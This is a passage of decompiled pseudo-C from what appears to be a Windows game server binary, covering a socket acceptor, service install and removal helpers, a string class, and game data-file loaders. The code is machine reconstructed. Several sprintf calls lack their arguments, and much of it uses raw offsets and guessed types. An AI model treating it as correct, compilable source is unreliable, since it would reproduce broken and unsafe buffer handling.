CToken::SetSeprator(&v5->baseclass_0, v5->m_CslSeprator); while ( !v5->m_bEnd ) { v9 = CToken::GetToken(&v5->baseclass_0); v10 = v9; if ( !v9 ) break; if ( !CCsl::ProcRemark(v5, v9) && !CCsl::ProcCmd(v5, v10, RetMsg) ) { if ( !CCsl::ProcData(v5, v10, RetMsg) ) { sprintf(RetMsg, "%s - UNKNOWNED."); CCsl::AddResultMsg(v5, RetMsg); ++v5->m_NumDataErrors; } } } CCsl::ReadScriptDone(v5); CToken::Close(&v5->baseclass_0); v11 = v5->m_NumFormatErrors + v5->m_NumDataErrors; result = v11 < 0; LOBYTE(result) = v11 <= 0; } else { GetLastError(); CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); if ( v5->m_bInclude ) { v14 = "INCLUDE OPEN ERROR(Code = %d) - %s "; v13 = RetMsg; } else { v14 = "FILE OPEN ERROR(Code = %d) - %s "; v13 = RetMsg; } sprintf(v13, v14); CCsl::AddResultMsg(v5, RetMsg); CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); ++v5->m_NumFormatErrors; CCsl::ReadScriptDone(v5); result = 0; } return result; } //----- (0055D440) -------------------------------------------------------- void __thiscall CSocket_Acceptor::CSocket_Acceptor(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; CSocket_Acceptor_Process::CSocket_Acceptor_Process(&this->m_Acceptor_Process); v1->m_ListenSocket = -1; *(_DWORD *)&v1->m_ListenSocketAddr.sa_family = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[2] = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[6] = 0; *(_DWORD *)&v1->m_ListenSocketAddr.sa_data[10] = 0; v1->m_bActiveAcceptThread = 0; v1->m_bAcceptThreadStop = 0; v1->m_Listen_TimeOut.tv_sec = 0; v1->m_Listen_TimeOut.tv_usec = 5; v1->m_hAcceptThread = 0; v1->m_AcceptThreadID = 0; v1->m_NumOfListen = 0; v1->m_NumOfAccepted = 0; v1->m_Accepted_Input = 0; v1->m_Accepted_Output = 0; InitializeCriticalSection(&v1->m_ListenBF_CS); InitializeCriticalSection(&v1->m_AcceptBF_CS); } //----- (0055D4D0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Stop(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; if ( this->m_ListenSocket != -1 ) { if ( shutdown(this->m_ListenSocket, 1) ) GetLastError(); if ( v1->m_ListenSocket != -1 ) { if ( closesocket(v1->m_ListenSocket) ) GetLastError(); else v1->m_ListenSocket = -1; } } if ( v1->m_bActiveAcceptThread ) { v1->m_bAcceptThreadStop = 1; do Sleep(5u); while ( v1->m_bActiveAcceptThread ); } return 1; } //----- (0055D540) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Listen_Add(CSocket_Acceptor *this, char *pIPAddress, int PortNo, unsigned int UserData, int BacklogCount) { CSocket_Acceptor *v5; // edi@1 _RTL_CRITICAL_SECTION *v6; // ebp@1 signed int v7; // edx@1 signed int v8; // eax@2 int v9; // ecx@2 int result; // eax@7 char *v11; // ecx@8 int v12; // esi@8 char v13; // al@9 char Msg[256]; // [sp+Ch] [bp-104h]@13 v5 = this; v6 = &this->m_ListenBF_CS; EnterCriticalSection(&this->m_ListenBF_CS); v7 = v5->m_NumOfListen; if ( v7 >= 10 ) goto LABEL_7; v8 = 0; v9 = (int)v5->m_ListenArray; while ( *(_DWORD *)v9 ) { ++v8; v9 += 100; if ( v8 >= 10 ) goto LABEL_7; } if ( v8 != -1 ) { v11 = pIPAddress; v12 = (int)((char *)v5 + 100 * v8); v5->m_NumOfListen = v7 + 1; do { v13 = *v11; v11[v12 + 44 - (_DWORD)pIPAddress] = *v11; ++v11; } while ( v13 ); *(_DWORD *)(v12 + 108) = PortNo; *(_DWORD *)(v12 + 112) = BacklogCount; *(_DWORD *)(v12 + 116) = UserData; *(_DWORD *)(v12 + 20) = 1; LeaveCriticalSection(v6); while ( *(_DWORD *)(v12 + 20) == 1 ) Sleep(0xAu); if ( *(_DWORD *)(v12 + 20) == 2 ) { sprintf(Msg, "*FAILED Listen_Add - IP = %s:%d"); _DebugMessageNew(1, "Msg", "%s"); EnterCriticalSection(v6); *(_DWORD *)(v12 + 20) = 0; --v5->m_NumOfListen; LeaveCriticalSection(v6); result = 0; } else { result = 1; } } else { LABEL_7: LeaveCriticalSection(v6); _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } //----- (0055D6B0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::GetAccepted(CSocket_Acceptor *this, CSocket_Acceptor::ACCEPTED_SOCKET_INFO *pSocketInfo, int bRemove) { CSocket_Acceptor *v3; // ebx@1 _RTL_CRITICAL_SECTION *v4; // ebp@1 unsigned int v5; // eax@1 int result; // eax@2 unsigned int v7; // edx@4 v3 = this; v4 = &this->m_AcceptBF_CS; EnterCriticalSection(&this->m_AcceptBF_CS); v5 = v3->m_Accepted_Output; if ( v3->m_Accepted_Input == v5 ) { LeaveCriticalSection(v4); result = 0; } else { memcpy(pSocketInfo, &v3->m_AcceptedRing[v5], 0x1Cu); if ( bRemove ) { v7 = (v3->m_Accepted_Output + 1) % 0x514; --v3->m_NumOfAccepted; v3->m_Accepted_Output = v7; } LeaveCriticalSection(v4); result = 1; } return result; } //----- (0055D730) -------------------------------------------------------- int __thiscall CSocket_Acceptor::SetAccepted(CSocket_Acceptor *this, unsigned int Socket, sockaddr_in *pSocketAddr, unsigned int UserData) { CSocket_Acceptor *v4; // ebx@1 _RTL_CRITICAL_SECTION *v5; // esi@1 int result; // eax@2 unsigned int v7; // ebp@4 int v8; // ecx@8 unsigned int v9; // edx@8 unsigned int i; // [sp+8h] [bp-8h]@3 _RTL_CRITICAL_SECTION *lpCriticalSection; // [sp+Ch] [bp-4h]@1 v4 = this; v5 = &this->m_AcceptBF_CS; lpCriticalSection = &this->m_AcceptBF_CS; EnterCriticalSection(&this->m_AcceptBF_CS); if ( (v4->m_Accepted_Input + 1) % 0x514 == v4->m_Accepted_Output ) { LeaveCriticalSection(v5); result = 0; } else { CGTimer::GetTime(); i = 0; if ( v4->m_NumOfAccepted ) { v7 = v4->m_Accepted_Output; while ( strncmp( &v4->m_AcceptedRing[v7 % 0x514].SocketAddr.sin_addr.S_un.S_un_b.s_b1, &pSocketAddr->sin_addr.S_un.S_un_b.s_b1, 4) ) { ++v7; ++i; if ( i >= v4->m_NumOfAccepted ) { v5 = lpCriticalSection; goto LABEL_8; } } LeaveCriticalSection(lpCriticalSection); result = 0; } else { LABEL_8: v4->m_AcceptedRing[v4->m_Accepted_Input].Socket = Socket; v8 = (int)&v4->m_AcceptedRing[v4->m_Accepted_Input].SocketAddr; *(_DWORD *)v8 = *(_DWORD *)&pSocketAddr->sin_family; *(_DWORD *)(v8 + 4) = *(_DWORD *)&pSocketAddr->sin_addr.S_un.S_un_b.s_b1; *(_DWORD *)(v8 + 8) = *(_DWORD *)&pSocketAddr->sin_zero[0]; *(_DWORD *)(v8 + 12) = *(_DWORD *)&pSocketAddr->sin_zero[4]; v4->m_AcceptedRing[v4->m_Accepted_Input].UserData = UserData; v4->m_AcceptedRing[v4->m_Accepted_Input].AcceptTime = CGTimer::GetTime(); v9 = (v4->m_Accepted_Input + 1) % 0x514; ++v4->m_NumOfAccepted; v4->m_Accepted_Input = v9; LeaveCriticalSection(v5); result = 1; } } return result; } //----- (0055D8A0) -------------------------------------------------------- int __thiscall CSocket_Acceptor::AcceptThreadWork(CSocket_Acceptor *this, unsigned int CheckPoint) { CSocket_Acceptor *v2; // ebx@1 char *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 SOCKET v6; // ST24_4@9 SOCKET v7; // eax@9 SOCKET v8; // edi@9 unsigned __int32 v9; // eax@13 int v10; // edx@13 SOCKET v11; // edi@13 int setsendbfsize; // [sp+10h] [bp-230h]@10 int len; // [sp+14h] [bp-22Ch]@9 int getsendbfsize; // [sp+18h] [bp-228h]@10 u_long arg; // [sp+1Ch] [bp-224h]@10 int getsendbfsizelen; // [sp+20h] [bp-220h]@10 int bAcceptSocket; // [sp+24h] [bp-21Ch]@1 fd_set fds; // [sp+28h] [bp-218h]@6 struct sockaddr addr; // [sp+12Ch] [bp-114h]@9 char Msg[256]; // [sp+13Ch] [bp-104h]@7 v2 = this; v3 = (char *)this + 100 * CheckPoint; v4 = *((_DWORD *)v3 + 5) - 1; bAcceptSocket = 0; if ( v4 ) { v5 = v4 - 2; if ( v5 ) { if ( v5 == 1 ) { closesocket(*((_DWORD *)v3 + 6)); *((_DWORD *)v3 + 5) = 0; } } else { if ( 1299 - this->m_NumOfAccepted >= 1 ) { fds.fd_array[0] = *((_DWORD *)v3 + 6); fds.fd_count = 1; if ( select(0, &fds, 0, 0, &this->m_Listen_TimeOut) == -1 ) { GetLastErrorStr(0, 1); sprintf(Msg, "ERROR - LISTEN SOCKET ACTIVE (%s) %s:%d ServerFromID=%d"); _DebugMessageNew(1, "Msg", "%s"); } else { if ( __WSAFDIsSet(*((_DWORD *)v3 + 6), &fds) ) { v6 = *((_DWORD *)v3 + 6); len = 16; v7 = accept(v6, &addr, &len); v8 = v7; if ( v7 != -1 ) { arg = 1; ioctlsocket(v7, -2147195266, &arg); getsendbfsizelen = 4; getsockopt(v8, 65535, 4097, (char *)&getsendbfsize, &getsendbfsizelen); setsendbfsize = 32768; setsockopt(v8, 65535, 4097, (const char *)&setsendbfsize, 4); getsockopt(v8, 65535, 4097, (char *)&getsendbfsize, &getsendbfsizelen); if ( CSocket_Acceptor::SetAccepted(v2, v8, (sockaddr_in *)&addr, *((_DWORD *)v3 + 29)) ) { bAcceptSocket = 1; } else { shutdown(v8, 2); closesocket(v8); } } } } } } } else { *(_DWORD *)&addr.sa_family = 0; *(_DWORD *)&addr.sa_data[2] = 0; *(_DWORD *)&addr.sa_data[6] = 0; *(_DWORD *)&addr.sa_data[10] = 0; addr.sa_family = 2; v9 = inet_addr(v3 + 44); v10 = *((_WORD *)v3 + 54); *(_DWORD *)&addr.sa_data[2] = v9; *(_WORD *)&addr.sa_data[0] = htons(v10); v11 = socket(2, 1, 0); if ( v11 == -1 || (setsendbfsize = 1, getsendbfsize = 1, setsockopt(v11, 65535, 4, (const char *)&getsendbfsize, 4), ioctlsocket(v11, -2147195266, (u_long *)&setsendbfsize), arg = 32768, setsockopt(v11, 65535, 4097, (const char *)&arg, 4), bind(v11, &addr, 16) == -1) || listen(v11, *((_DWORD *)v3 + 28)) == -1 ) { *((_DWORD *)v3 + 5) = 2; WSACleanup(); } else { len = 4; getsockname(v11, (struct sockaddr *)(v3 + 28), &len); *((_DWORD *)v3 + 6) = v11; *((_DWORD *)v3 + 5) = 3; } } return bAcceptSocket; } //----- (0055DB90) -------------------------------------------------------- void __thiscall CSocket_Acceptor::_CSocket_Acceptor(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 v1 = this; CSocket_Acceptor::Stop(this); DeleteCriticalSection(&v1->m_ListenBF_CS); DeleteCriticalSection(&v1->m_AcceptBF_CS); } //----- (0055DBC0) -------------------------------------------------------- unsigned int __stdcall CSocket_Acceptor::AcceptThreadRing(void *lpParam) { int v1; // eax@1 unsigned int v2; // esi@1 unsigned int v3; // esi@2 int v4; // edi@2 unsigned int result; // eax@6 DWORD v6; // [sp-Ch] [bp-14h]@3 v1 = *((_DWORD *)lpParam + 9374); v2 = 0; *((_DWORD *)lpParam + 9373) = 1; if ( v1 ) { *((_DWORD *)lpParam + 9373) = 0; result = 0; } else { do { v3 = v2 % 0xA; EnterCriticalSection((LPCRITICAL_SECTION)((char *)lpParam + 1024)); v4 = CSocket_Acceptor::AcceptThreadWork((CSocket_Acceptor *)lpParam, v3); LeaveCriticalSection((LPCRITICAL_SECTION)((char *)lpParam + 1024)); v2 = v3 + 1; if ( v4 ) v6 = 1; else v6 = 10; Sleep(v6); } while ( !*((_DWORD *)lpParam + 9374) ); *((_DWORD *)lpParam + 9373) = 0; result = 0; } return result; } //----- (0055DC50) -------------------------------------------------------- int __thiscall CSocket_Acceptor::Listen_Start(CSocket_Acceptor *this) { CSocket_Acceptor *v1; // esi@1 HANDLE v2; // eax@3 v1 = this; if ( !this->m_bActiveAcceptThread ) { if ( !InetAddress::WinSockStart(2, 2) || (v1->m_ListenArray[0].Work = 0, v1->m_ListenArray[1].Work = 0, v1->m_ListenArray[2].Work = 0, v1->m_ListenArray[3].Work = 0, v1->m_ListenArray[4].Work = 0, v1->m_ListenArray[5].Work = 0, v1->m_ListenArray[6].Work = 0, v1->m_ListenArray[7].Work = 0, v1->m_ListenArray[8].Work = 0, v1->m_ListenArray[9].Work = 0, v1->m_bAcceptThreadStop = 0, v2 = CreateThread(0, 0, CSocket_Acceptor::AcceptThreadRing, v1, 0, &v1->m_AcceptThreadID), (v1->m_hAcceptThread = v2) == 0) ) return 0; while ( v1->m_bActiveAcceptThread != 1 ) Sleep(5u); } return 1; } //----- (0055DD00) -------------------------------------------------------- void __thiscall WinService::_WinService(WinService *this) { this->baseclass_0.vfptr = (SingletonVtbl *)&WinService::_vftable_; String::_String(&this->serviceName); } // 5DABB0: using guessed type int (__cdecl *WinService___vftable_)(int __formal); //----- (0055DD10) -------------------------------------------------------- bool __thiscall WinService::uploadService(WinService *this, String svcName, String displayName, String modulePath) { SC_HANDLE__ *v4; // esi@1 char *v5; // ST1C_4@2 char *v6; // ST08_4@2 char *v7; // eax@2 SC_HANDLE__ *v8; // eax@2 v4 = OpenSCManagerA(0, 0, 2u); if ( !v4 ) goto LABEL_4; v5 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&modulePath); v6 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&displayName); v7 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&svcName); v8 = CreateServiceA(v4, v7, v6, 0, 0x10u, 3u, 0, v5, 0, 0, 0, 0, 0); if ( !v8 ) { CloseServiceHandle(v4); LABEL_4: String::_String(&svcName); String::_String(&displayName); String::_String(&modulePath); return 0; } CloseServiceHandle(v8); CloseServiceHandle(v4); String::_String(&svcName); String::_String(&displayName); String::_String(&modulePath); return 1; } //----- (0055DE20) -------------------------------------------------------- bool __thiscall WinService::removeService(WinService *this, String svcName) { SC_HANDLE__ *v2; // esi@1 bool result; // al@2 char *v4; // eax@3 SC_HANDLE__ *v5; // edi@3 v2 = OpenSCManagerA(0, 0, 2u); if ( v2 ) { v4 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&svcName); v5 = OpenServiceA(v2, v4, 0x10000u); DeleteService(v5); CloseServiceHandle(v5); CloseServiceHandle(v2); String::_String(&svcName); result = 1; } else { String::_String(&svcName); result = 0; } return result; } //----- (0055DED0) -------------------------------------------------------- void __thiscall WinService::onServiceStop(WinService *this) { WinService *v1; // esi@1 SERVICE_STATUS_HANDLE__ *v2; // ST00_4@1 SERVICE_STATUS_HANDLE__ *v3; // ST00_4@1 struct _SERVICE_STATUS ServiceStatus; // [sp+Ch] [bp-1Ch]@1 v1 = this; v2 = this->handleServiceStatus; ServiceStatus.dwServiceType = 16; ServiceStatus.dwControlsAccepted = 5; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCurrentState = 3; ServiceStatus.dwCheckPoint = 1; ServiceStatus.dwWaitHint = 5000; SetServiceStatus(v2, &ServiceStatus); v1->serviceStopFunc(); v3 = v1->handleServiceStatus; ServiceStatus.dwCurrentState = 1; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(v3, &ServiceStatus); if ( v1->handleServiceEvent == (void *)-1 ) { CloseHandle((HANDLE)0xFFFFFFFF); v1->handleServiceEvent = (void *)-1; } } //----- (0055DF60) -------------------------------------------------------- int __thiscall WinService::queryServiceStatus(WinService *this, unsigned int *pResult, const char *netMachine, const char *serviceName) { WinService *v4; // ebx@1 SC_HANDLE__ *v5; // eax@1 SC_HANDLE__ *v6; // esi@1 int result; // eax@2 SC_HANDLE__ *v8; // eax@3 SC_HANDLE__ *v9; // edi@3 v4 = this; v5 = OpenSCManagerA(netMachine, 0, 0x80000000u); v6 = v5; if ( v5 ) { v8 = OpenServiceA(v5, serviceName, 4u); v9 = v8; if ( v8 ) { if ( QueryServiceStatus(v8, &v4->ssQueryControl) ) { CloseServiceHandle(v9); CloseServiceHandle(v6); *pResult = v4->ssQueryControl.dwCurrentState; result = 1; } else { *pResult = GetLastError(); CloseServiceHandle(v9); CloseServiceHandle(v6); result = 0; } } else { *pResult = GetLastError(); CloseServiceHandle(v6); result = 0; } } else { *pResult = GetLastError(); result = 0; } return result; } //----- (0055E010) -------------------------------------------------------- void __thiscall WinService::WinService(WinService *this) { WinService *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (SingletonVtbl *)&WinService::_vftable_; String::String(&this->serviceName); v1->handleServiceEvent = (void *)-1; } // 5DABB0: using guessed type int (__cdecl *WinService___vftable_)(int __formal); //----- (0055E030) -------------------------------------------------------- void *__thiscall WinService::_vector_deleting_destructor_(WinService *this, unsigned int a2) { void *v2; // esi@1 v2 = this; WinService::_WinService(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0055E050) -------------------------------------------------------- void __stdcall WinService::serviceHandler(unsigned int status) { WinService *v1; // eax@1 Singleton::getInstance()->statusEvent = status; v1 = Singleton::getInstance(); SetEvent(v1->handleServiceEvent); } //----- (0055E070) -------------------------------------------------------- bool __thiscall WinService::onServiceStart(WinService *this) { WinService *v1; // esi@1 char *v2; // eax@1 SERVICE_STATUS_HANDLE__ *v3; // eax@1 int (*v4)(void); // eax@1 bool result; // al@2 SERVICE_STATUS_HANDLE__ *v6; // ST08_4@3 struct _SERVICE_STATUS ServiceStatus; // [sp+Ch] [bp-1Ch]@1 v1 = this; this->handleServiceEvent = CreateEventA(0, 0, 0, 0); v2 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&v1->serviceName); v3 = RegisterServiceCtrlHandlerA(v2, WinService::serviceHandler); v1->handleServiceStatus = v3; ServiceStatus.dwServiceType = 16; ServiceStatus.dwCurrentState = 2; ServiceStatus.dwControlsAccepted = 5; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 1; ServiceStatus.dwWaitHint = 1000; SetServiceStatus(v3, &ServiceStatus); v4 = (int (*)(void))v1->serviceStartFunc; if ( !v4 || (result = v4()) != 0 ) { v6 = v1->handleServiceStatus; ServiceStatus.dwCurrentState = 4; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(v6, &ServiceStatus); result = 1; } return result; } //----- (0055E120) -------------------------------------------------------- void __stdcall WinService::serviceLoop(unsigned int argc, char **argv) { WinService *v2; // eax@1 WinService *v3; // eax@2 WinService *v4; // eax@3 WinService *v5; // eax@4 v2 = Singleton::getInstance(); if ( WinService::onServiceStart(v2) ) { while ( 2 ) { v4 = Singleton::getInstance(); WaitForSingleObject(v4->handleServiceEvent, 0xFFFFFFFFu); switch ( Singleton::getInstance()->statusEvent ) { default: continue; case 1u: case 5u: v5 = Singleton::getInstance(); WinService::onServiceStop(v5); break; } break; } } else { v3 = Singleton::getInstance(); WinService::onServiceStop(v3); } } //----- (0055E190) -------------------------------------------------------- bool __thiscall WinService::startDispatcher(WinService *this, String serviceName, bool (__cdecl *startCallBack)(), void (__cdecl *stopCallBack)()) { WinService *v4; // esi@1 char *v5; // eax@1 void (__cdecl *v6)(); // edx@1 bool result; // al@2 SERVICE_TABLE_ENTRYA dispatch; // [sp+4h] [bp-1Ch]@1 int v9; // [sp+Ch] [bp-14h]@1 int v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v4 = this; v11 = 0; String::operator_(&serviceName, &serviceName); v5 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)&serviceName); v6 = stopCallBack; dispatch.lpServiceName = v5; dispatch.lpServiceProc = WinService::serviceLoop; v9 = 0; v10 = 0; v4->serviceStartFunc = startCallBack; v4->serviceStopFunc = v6; if ( StartServiceCtrlDispatcherA(&dispatch) ) { v11 = -1; String::_String(&serviceName); result = 1; } else { GetLastError(); v11 = -1; String::_String(&serviceName); result = 0; } return result; } //----- (0055E280) -------------------------------------------------------- void __thiscall String::allocData(String *this, int strLen) { String *v2; // esi@1 int v3; // edx@2 void *v4; // eax@4 void *v5; // eax@6 unsigned int v6; // edx@6 int v7; // edi@6 int i; // ecx@6 v2 = this; if ( strLen > this->allocSize ) { v3 = this->allocSize; do v3 += 48; while ( strLen > v3 ); v4 = this->chData; this->allocSize = v3; if ( v4 ) operator delete(v4); v5 = operator new(v2->allocSize); v6 = v2->allocSize; v2->chData = (char *)v5; memset(v5, 0, 4 * (v6 >> 2)); v7 = (int)((char *)v5 + 4 * (v6 >> 2)); for ( i = v6 & 3; i; --i ) *(_BYTE *)v7++ = 0; } } //----- (0055E2E0) -------------------------------------------------------- void __thiscall String::makeUpper(String *this) { _mbsupr(this->chData); } //----- (0055E2F0) -------------------------------------------------------- String *__thiscall String::operator_(String *this, const char *str) { unsigned int v2; // eax@1 String *v3; // esi@1 char *v4; // edx@1 const char *v5; // ecx@1 char v6; // al@2 int v7; // ecx@3 int v8; // eax@3 char *v9; // ecx@4 v3 = this; v2 = strlen(str); v3->stringLength = v2; String::allocData(v3, v2 + 1); v4 = v3->chData; v5 = str; do { v6 = *v5++; *v4++ = v6; } while ( v6 ); v7 = v3->allocSize; v8 = 0; v3->stringLength = 0; if ( v7 > 0 ) { v9 = v3->chData; do { if ( !v9[v8] ) break; ++v8; ++v3->stringLength; } while ( v8 < v3->allocSize ); } return v3; } //----- (0055E360) -------------------------------------------------------- void __thiscall String::String(String *this) { this->vfptr = (StringVtbl *)&String::_vftable_; this->chData = 0; this->stringLength = 0; this->allocSize = 0; String::allocData(this, 48); } // 5DABB8: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (0055E380) -------------------------------------------------------- void *__thiscall String::_scalar_deleting_destructor_(String *this, unsigned int a2) { void *v2; // esi@1 void *v3; // eax@1 v2 = this; v3 = this->chData; this->vfptr = (StringVtbl *)&String::_vftable_; if ( v3 ) operator delete(v3); if ( a2 & 1 ) operator delete(v2); return v2; } // 5DABB8: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (0055E3B0) -------------------------------------------------------- void __thiscall String::String(String *this, const char *str) { this->chData = 0; this->stringLength = 0; this->allocSize = 0; this->vfptr = (StringVtbl *)&String::_vftable_; String::operator_(this, str); } // 5DABB8: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (0055E3E0) -------------------------------------------------------- String *__thiscall String::operator_(String *this, String *str) { String *v2; // esi@1 v2 = this; String::operator_(this, str->chData); return v2; } //----- (0055E400) -------------------------------------------------------- bool __cdecl operator__(String *str1, String *str2) { return _mbscmp(str1->chData, str2->chData) == 0; } //----- (0055E420) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xC5C5u, 0x17Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055E4D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1BBFu, 0xDBu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055E580) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3CAu, 0x46u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055E630) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xEu, 7u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0055E6E0) -------------------------------------------------------- BinaryData *__thiscall ItemDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x17Cu); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 440)); memset(&v1[8].baseclass_0.m_sFileMD5.n8_name[4], 0, 0xD8u); LOWORD(v1[11].baseclass_0.m_pDataArray) = 0; BYTE2(v1[11].baseclass_0.m_pDataArray) = 0; CCharacterTitleData::CCharacterTitleData(v1 + 12); memset(&v1[13], 0, 0x44u); LOWORD(v1[14].baseclass_0.m_nDataArraySize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 852)); v1[15].baseclass_0.m_nFileCheckSum = 0; return v1; } //----- (0055E780) -------------------------------------------------------- void __thiscall ItemDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 852)); CCharacterTitleData::_CCharacterTitleData(v1 + 12); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 440)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (0055E7F0) -------------------------------------------------------- bool __thiscall ItemDataBox::ReadData(ItemDataBox *this, char *pdatafn) { ItemDataBox *v2; // esi@1 char *v3; // edi@1 bool result; // al@2 unsigned int v5; // edx@3 unsigned int v6; // ebx@3 unsigned int v7; // ebp@3 void *v8; // eax@5 void *v9; // eax@9 void *v10; // eax@13 void *v11; // eax@15 unsigned int v12; // ecx@17 int v13; // eax@18 unsigned int v14; // ebp@20 void *v15; // eax@22 int v16; // ebx@24 void *v17; // eax@25 void *v18; // eax@31 unsigned int v19; // ebp@33 void *v20; // eax@34 v2 = this; v3 = (char *)&this->idb_BinData; if ( CDataReader::Read(&this->idb_BinData.itminf.baseclass_0.baseclass_0, pdatafn, 0xC5C5u, 0x17Cu) ) { v5 = v2->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = 0; v7 = 0; v2->idb_Itemspacies = v5; v2->idb_maxItemhandle = 0; if ( v5 ) { do { if ( v7 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v8 = CDataReader::GetRecord((CDataReader *)v3, v7); else v8 = v3 + 60; if ( v2->idb_maxItemhandle < *(_WORD *)v8 ) { if ( v7 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v9 = CDataReader::GetRecord((CDataReader *)v3, v7); else v9 = v3 + 60; v2->idb_maxItemhandle = *(_WORD *)v9; } ++v7; } while ( v7 < v2->idb_Itemspacies ); } v10 = v2->idb_index; ++v2->idb_maxItemhandle; if ( v10 ) { operator delete__(v10); v2->idb_index = 0; } v11 = operator new__(24 * v2->idb_maxItemhandle); v2->idb_index = (ItemDataBox::ItemDataBoxIndex *)v11; if ( v11 ) { v12 = 0; if ( v2->idb_maxItemhandle > 0 ) { v13 = 0; do { v2->idb_index[v13].data = 0; v2->idb_index[v13].dataserv = 0; v2->idb_index[v13].itemoption = 0; v2->idb_index[v13].SetItemIndex = -1; v2->idb_index[v13].itemdroplog = 0; ++v12; ++v13; } while ( v12 < v2->idb_maxItemhandle ); } v14 = 0; if ( v2->idb_Itemspacies > 0 ) { do { if ( v14 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v15 = CDataReader::GetRecord((CDataReader *)v3, v14); else v15 = v3 + 60; v16 = *(_WORD *)v15; if ( v14 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v17 = CDataReader::GetRecord((CDataReader *)v3, v14); else v17 = v3 + 60; v2->idb_index[v16].data = (ItemInfo *)v17; ++v14; } while ( v14 < v2->idb_Itemspacies ); v6 = 0; } if ( v2->idb_Itemspacies ) { do { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v18 = CDataReader::GetRecord((CDataReader *)v3, v6); else v18 = v3 + 60; v19 = *(_WORD *)v18; if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v20 = CDataReader::GetRecord((CDataReader *)v3, v6); else v20 = v3 + 60; 